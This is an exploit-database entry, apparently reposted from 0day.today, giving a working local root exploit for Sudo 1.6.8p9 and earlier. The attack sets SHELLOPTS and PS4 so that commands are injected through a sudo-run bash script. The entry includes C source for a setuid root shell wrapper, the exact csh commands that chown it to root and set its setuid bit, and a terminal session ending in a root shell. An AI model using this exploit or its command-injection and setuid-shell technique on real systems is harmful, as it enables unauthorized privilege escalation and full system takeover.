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Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit
[================================================================
Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit
================================================================
## Sudo local root escalation privilege ##
## vuln versions : sudo < 1.6.8p10
## by breno
## You need sudo access execution for some bash script ##
## Use csh shell to change SHELLOPTS env ##
ie:
%cat x.sh
#!/bin/bash -x
echo "Getting root!!"
%
##
##
# cat /etc/sudoers
...
breno ALL=(ALL) /home/breno/x.sh
..
#
## Let's use an egg shell :)
%cat egg.c
#include <stdio.h>
int main()
{
setuid(0);
system("/bin/sh");
}
%
% gcc -o egg egg.c
% setenv SHELLOPTS xtrace
% setenv PS4 '$(chown root:root egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ls -lisa egg
1198941 8 -rwxr-xr-x 1 root root 7428 2005-11-09 13:54 egg
% setenv PS4 '$(chmod +s egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ./egg
sh-3.00# id
uid=0(root) gid=1000(breno) egid=0(root) grupos=7(lp),102(lpadmin),1000(breno)
sh-3.00#
# 0day.today [2024-12-24] #